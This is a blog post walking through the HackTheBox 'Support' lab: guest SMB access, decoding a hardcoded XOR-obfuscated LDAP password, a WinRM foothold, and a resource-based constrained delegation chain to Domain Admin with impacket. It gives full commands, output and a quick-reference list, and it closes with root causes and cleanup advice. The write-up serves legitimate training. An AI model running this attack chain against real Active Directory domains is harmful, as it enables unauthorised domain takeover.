Back to blog
← Back to posts

HTB: Support

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools

Support is an easy Active Directory box, and most walkthroughs assume a Windows attack host — dnSpy, PowerView, Rubeus, Enter-PSSession over CredSSP. I did the whole thing from an Apple-silicon Mac. The path is a clean four-hop credential chain: an anonymous SMB share hands over a custom UserInfo.exe; decompiling it reveals a hardcoded LDAP password hidden behind a trivial XOR routine; that read-only LDAP account finds another password sitting in the support user's info attribute, which is a member of Remote Management Users for a WinRM foothold; and finally support's membership of a group with GenericAll over the domain controller drives a Resource-Based Constrained Delegation chain to Domain Admin. Every step ran on macOS/Linux tooling — ilspycmd, ldapsearch, evil-winrm and pure-Python impacket.
SMB anon share decompile UserInfo.exe ldap (LDAP read) info attribute → support WinRM (user) RBCD → DA

Reconnaissance

A full TCP scan is a textbook domain controller — DNS, Kerberos, LDAP, the global catalog, SMB, WinRM and ADWS. Domain support.htb, hostname DC, Windows Server 2022. Worth noting early: the Kerberos server time on port 88 matched my host clock, so none of the faketime skew-wrangling that some AD boxes need would be required here.

nmap -p-
$ nmap -Pn -sC -sV -p- --min-rate 2000 -oA scans/full <IP> 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 139/tcp open netbios-ssn 389/tcp open ldap AD LDAP (Domain: support.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ldaps 3268/tcp open ldap Global Catalog 5985/tcp open http WinRM (Microsoft HTTPAPI httpd 2.0) 9389/tcp open mc-nmf .NET Message Framing (ADWS)

Add the DC to /etc/hosts up front — Kerberos resolves service principals by hostname, and the RBCD step at the end authenticates against dc.support.htb, not an IP:

/etc/hosts
$ echo '<IP> dc.support.htb support.htb dc DC' | sudo tee -a /etc/hosts

SMB — an anonymous share and a leaked tool

A null session authenticates but can't list shares. A guest login — any username, blank password — can, and that distinction matters: null and guest are different auth paths, and boxes often block one while leaving the other open.

nxc smb --shares (guest)
$ nxc smb <IP> -u anon -p '' --shares SHARE PERMISSIONS REMARK IPC$ READ Remote IPC NETLOGON Logon server share support-tools READ support staff tools SYSVOL Logon server share

support-tools is readable. Most of its contents are off-the-shelf portable apps (7-Zip, Notepad++, PuTTY, Sysinternals, Wireshark) — but one file doesn't belong: a custom UserInfo.exe.zip. In-house tooling shipped to an open share is exactly where hardcoded credentials live.

grab & unzip
$ smbclient //<IP>/support-tools -U 'anon%' -c 'get UserInfo.exe.zip' $ unzip UserInfo.exe.zip -d UserInfo && file UserInfo/UserInfo.exe UserInfo.exe: PE32 executable ... Mono/.Net assembly, for MS Windows

Decompiling .NET on macOS (no dnSpy)

dnSpy is Windows-only, but a .NET assembly decompiles cleanly on macOS with the cross-platform ILSpy command-line tool. It installs as a dotnet global tool. One gotcha on a Homebrew dotnet: ilspycmd can't find the runtime unless DOTNET_ROOT points at the libexec directory (not bin).

ilspycmd
$ dotnet tool install -g ilspycmd $ export DOTNET_ROOT=/opt/homebrew/Cellar/dotnet/<ver>/libexec $ ilspycmd UserInfo/UserInfo.exe > UserInfo.decomp.cs

Grepping the decompiled source lights up immediately. There's a hardcoded username, a base64 "encrypted" password, and a getPassword() that "decrypts" it:

UserInfo.decomp.cs
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"; private static byte[] key = Encoding.ASCII.GetBytes("armando"); public static string getPassword() { byte[] array = Convert.FromBase64String(enc_password); byte[] array2 = array; for (int i = 0; i < array.Length; i++) array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF); ... } // entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);

The "encryption" is base64 then a byte-wise XOR against the repeating key armando, XORed again with the constant 0xDF. XOR is symmetric, so "decrypting" is just running the same routine the code already handed us. Three lines of Python recover the password:

decrypt.py
$ python3 -c ' import base64 d = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E") k = b"armando" print(bytes(d[i]^k[i%len(k)]^0xDF for i in range(len(d))).decode())' nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

So we have support\ldap and its cleartext password — a low-privilege account, but enough to read the directory.

LDAP — a password hiding in an attribute

The binary was making LDAP user queries, so the natural next move is to enumerate user objects and look for something in a rarely-inspected field. The info attribute (the "Notes" box in ADUC) is a classic dumping ground for admins who think it's obscure. Filtering for the support account pays off immediately:

ldapsearch — support account
$ ldapsearch -x -H ldap://<IP> -D 'support\ldap' -w '<ldap-pw>' \ -b 'DC=support,DC=htb' '(sAMAccountName=support)' info memberOf info: Ironside47pleasure40Watchful memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb sAMAccountName: support

Two gifts in one query: a candidate password for the support account, and confirmation that support is in Remote Management Users (WinRM access) and Shared Support Accounts — the group we'll abuse for privesc.

Foothold — WinRM as support

The info value is a valid credential, and Remote Management Users means it works over WinRM:

WinRM foothold + user.txt
$ nxc winrm <IP> -u support -p 'Ironside47pleasure40Watchful' WINRM <IP> 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!) $ evil-winrm -i dc.support.htb -u support -p 'Ironside47pleasure40Watchful' *Evil-WinRM* PS> type ..\Desktop\user.txt [redacted — user flag]

Privesc — Resource-Based Constrained Delegation

BloodHound (or just reading the group's ACL) shows that Shared Support Accounts — which support belongs to — has GenericAll over the domain controller's computer object, DC$. That write primitive is the whole ballgame: if I can set msDS-AllowedToActOnBehalfOfOtherIdentity on DC$ to a principal I control, I can use S4U to impersonate any user — including a Domain Admin — to services on the DC. This is RBCD, and it runs end-to-end from Linux/macOS with impacket.

First confirm the machine-account quota allows creating a computer (default 10), then create one to be the delegate-from principal:

1 — add a controllable computer account
$ nxc ldap <IP> -u ldap -p '<ldap-pw>' -M maq MAQ MachineAccountQuota: 10 $ addcomputer.py support.htb/support:'Ironside47pleasure40Watchful' \ -computer-name 'ATTACK$' -computer-pass 'Password123!' -dc-ip <IP> [*] Successfully added machine account ATTACK$ with password Password123!.

Write the RBCD attribute on DC$ so it trusts ATTACK$ to act on behalf of others:

2 — set RBCD on DC$
$ rbcd.py -delegate-from 'ATTACK$' -delegate-to 'DC$' -action write \ support.htb/support:'Ironside47pleasure40Watchful' -dc-ip <IP> [*] Delegation rights modified successfully! [*] ATTACK$ can now impersonate users on DC$ via S4U2Proxy

Now S4U2Self+S4U2Proxy as ATTACK$ to mint a cifs/dc.support.htb service ticket as the Administrator:

3 — S4U → administrator ticket
$ getST.py -spn 'cifs/dc.support.htb' -impersonate administrator -dc-ip <IP> \ 'support.htb/ATTACK$:Password123!' [*] Saving ticket in administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Point KRB5CCNAME at the ccache and execute as SYSTEM. This is where the /etc/hosts entry earns its keep — Kerberos authenticates against the SPN hostname, so the target must be dc.support.htb, never an IP:

4 — root.txt
$ export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache $ wmiexec.py -k -no-pass dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt' [redacted — root flag]
macOS aside: psexec.py's interactive command pipe broke under Python 3.14 (STATUS_PIPE_BROKEN) even though the SYSTEM service launched fine. wmiexec.py passes a single command cleanly and was the more reliable one-shot for reading the flag. And clean up after yourself on a real engagement: the ATTACK$ account and the RBCD attribute on DC$ both persist in the domain (rbcd.py -action flush, then delete the computer object).

Why it worked

StageRoot cause
→ support-toolsAnonymous/guest SMB read on a share holding in-house tooling (CWE-284 — improper access control)
→ ldap credsHardcoded credential obfuscated with a reversible XOR + a key shipped alongside it — obfuscation, not encryption (CWE-798 / CWE-312)
→ support (WinRM)Cleartext password stored in the account's info attribute, readable by any authenticated principal (CWE-522)
→ Domain AdminA support group holds GenericAll over the DC object → write msDS-AllowedToActOnBehalfOfOtherIdentity → RBCD (CWE-266 — over-privileged ACL)

Operator notes — from macOS

Key commands

quick reference
# 1. anonymous SMB → pull the custom tool nxc smb <IP> -u anon -p '' --shares smbclient //<IP>/support-tools -U 'anon%' -c 'get UserInfo.exe.zip' # 2. decompile + XOR-decrypt the hardcoded LDAP password dotnet tool install -g ilspycmd; DOTNET_ROOT=.../libexec ilspycmd UserInfo.exe python3 -c 'import base64;d=base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E");k=b"armando";print(bytes(d[i]^k[i%len(k)]^0xDF for i in range(len(d))).decode())' # 3. LDAP read → password in the info attribute → WinRM (user.txt) ldapsearch -x -H ldap://<IP> -D 'support\ldap' -w '<ldap-pw>' -b 'DC=support,DC=htb' '(sAMAccountName=support)' info memberOf evil-winrm -i dc.support.htb -u support -p 'Ironside47pleasure40Watchful' # 4. RBCD via GenericAll over DC$ → Domain Admin (root.txt) addcomputer.py support.htb/support:'<pw>' -computer-name 'ATTACK$' -computer-pass 'Password123!' -dc-ip <IP> rbcd.py -delegate-from 'ATTACK$' -delegate-to 'DC$' -action write support.htb/support:'<pw>' -dc-ip <IP> getST.py -spn 'cifs/dc.support.htb' -impersonate administrator -dc-ip <IP> 'support.htb/ATTACK$:Password123!' KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache wmiexec.py -k -no-pass dc.support.htb
HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools